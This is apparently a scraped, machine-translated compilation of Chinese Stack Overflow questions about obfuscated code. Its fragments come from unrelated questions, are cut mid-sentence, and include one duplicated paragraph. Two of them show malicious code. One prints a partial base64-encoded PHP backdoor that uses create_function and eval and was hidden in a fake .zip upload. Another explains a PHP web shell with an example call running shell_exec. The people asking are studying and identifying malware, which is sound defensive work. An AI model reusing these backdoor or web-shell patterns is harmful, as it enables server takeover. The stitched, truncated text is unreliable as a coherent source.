我拥有一个数字商品市场，供应商上传了这个文件，它是一个zip文件，但在Windows中显示为损坏。当我在linux中打开它时，我震惊地发现文件本身是一个php文件，有人在其中添加了.zip扩展名。有没有人见过这样的代码？谁能帮我理解它？是恶意的吗？这就是我到目前为止所得到的。$xzfy=create_function(base64_decode(JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdtYScgJiYgJGMoJGEpPjMpeyRrPSdzZXJhdGknO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2
这个问题不太可能帮助任何future的访问者；它只与一个小的地理区域、一个特定的时间点或一个非常狭窄的情况有关，这些情况并不普遍适用于互联网的全局受众。为了帮助使这个问题更广泛地适用，visitthehelpcenter.关闭9年前。我正在尝试对这段PHP代码进行去混淆处理:>4);if($TC9A16C47DA8EEE87){$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])&0x0F)+3;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4".$T43D5686285
今天我遇到了一个混淆类(一个jar里有很多混淆类)，我不知道这种混淆是如何完成的。一个例子:protectedvoida(ChannelHandlerContext☃,ByteBuf☃,ByteBuf☃)throwsException{int☃=☃.readableBytes();if(☃正如你在上面看到的，所有的参数变量都是一个雪人。这怎么能被撤销？还有它首先是如何完成的；JVM如何能够“处理”这些并毫无问题地执行代码？澄清一下，我不会使用此代码，它仅用于教育目的。我在学校上计算机科学类(class)，因为我们正在学习Java并讨论反编译等限制。我有兴趣了解更多，所以我决定研究更大的
我在我的一个PHP文件中发现了黑客留下的一行脚本。它是这样写的:任何人都可以就这行代码的作用给出一些提示吗？谢谢 最佳答案 由于问题被搁置，我已经将其作为评论发布，现在在这里作为答案:这是一个PHP外壳。如果将其重写为网址file.php?2=shell_exec&1=whoami执行命令whoami在外壳上。在您的示例中，一个参数通过POST传递，一个通过GET传递。所以调用起来有点困难。您还可以用它调用其他函数。第一个参数始终是函数名称，第二个参数是被调用函数的参数。显然它在http://h.ackack.net/tiny-ph
这听起来很可疑，但我需要对自己的应用程序进行去混淆处理。前段时间我发布了我使用Proguard混淆的应用程序。不幸的是，我没有保存该版本的应用程序并更改了很多代码。现在我需要旧版本的代码。我还有mapping.txtProguard生成的文件。我已经将classes.dex文件转成jar(使用dex2jar工具)，现在需要根据mapping.txt进行反混淆。有什么工具可以帮助我吗？也许是Proguard本身？更新。我需要一个可以自动重命名所有类、函数等的工具，这样我就不必手动完成了。谢谢 最佳答案 如果您有映射，那么您可以取回每个
我有一个启用了Proguard的应用程序(minifyenabledtrue)，最近在GooglePlay开发者控制台中收到了一份崩溃报告。当我看着它时，我看到以下内容:我很惊讶在第1行看到完整的类名和方法名，因为Proguard已启用。我以前总是看到这样的事情:atcom.myname.myapp.c.f(UnknownSource)我也很好奇行号是如何出现的，因为我没有在我的Proguard配置文件中保留行号(因此，为什么我通常会在堆栈跟踪中看到“未知来源”)。我反编译了我的.apk，查看了classes.dex文件，看起来一切正常。我找到了堆栈跟踪的第1行中引用的类，类名确实被混
有时您需要在应用程序本身中存储密码，例如用于与您自己的服务器通信的用户名/密码。在这些情况下，不可能遵循存储密码的正常过程——即散列密码、存储散列、与散列用户输入进行比较——因为你没有任何用户输入来与散列进行比较。密码需要由应用程序本身提供。那么如何保护APK中存储的密码呢？像下面这样的密码生成函数是否相当安全？纯文本:Stringpassword="$()&HDI?=!";简单混淆:privateStringgetPassword(){Stringpool="%&/@$()7?=!656sd8KJ%&HDI!!!G98y/&%=?=*^%&ft4%(";returnpool.subs
我正在尝试拆解并去混淆这个生成mandlebrot的python代码:_=(255,lambdaV,B,c:candY(V*V+B,B,c-1)if(abs(V)来源:http://preshing.com/20110926/high-resolution-mandelbrot-in-obfuscated-python/我发现一个for循环有一个有趣的变化，我不确定它是否只是混淆的一部分，或者它是否真的有一个功能。中线:对于j('BM'+P(M,v*x*3+26,26,12,v,x,1,24))或C中的X:最后的或做什么？为了清晰起见，我重新编写了代码如下:importstructim
我正在尝试拆解并去混淆这个生成mandlebrot的python代码:_=(255,lambdaV,B,c:candY(V*V+B,B,c-1)if(abs(V)来源:http://preshing.com/20110926/high-resolution-mandelbrot-in-obfuscated-python/我发现一个for循环有一个有趣的变化，我不确定它是否只是混淆的一部分，或者它是否真的有一个功能。中线:对于j('BM'+P(M,v*x*3+26,26,12,v,x,1,24))或C中的X:最后的或做什么？为了清晰起见，我重新编写了代码如下:importstructim
这是一小段提示“Helloworld”的JavaScript代码:ﾟωﾟﾉ=/｀ｍ´）ﾉ~┻━┻//*´∇｀*/['_'];o=(ﾟｰﾟ)=_=3;c=(ﾟΘﾟ)=(ﾟｰﾟ)-(ﾟｰﾟ);(ﾟДﾟ)=(ﾟΘﾟ)=(o^_^o)/(o^_^o);(ﾟДﾟ)={ﾟΘﾟ:'_',ﾟωﾟﾉ:((ﾟωﾟﾉ==3)+'_')[ﾟΘﾟ],ﾟｰﾟﾉ:(ﾟωﾟﾉ+'_')[o^_^o-(ﾟΘﾟ)],ﾟДﾟﾉ:((ﾟｰﾟ==3)+'_')[ﾟｰﾟ]};(ﾟДﾟ)[ﾟΘﾟ]=((ﾟωﾟﾉ==3)+'_')[c^_^o];(ﾟДﾟ)['c']=((ﾟДﾟ)+'_')[(ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ)];(ﾟ
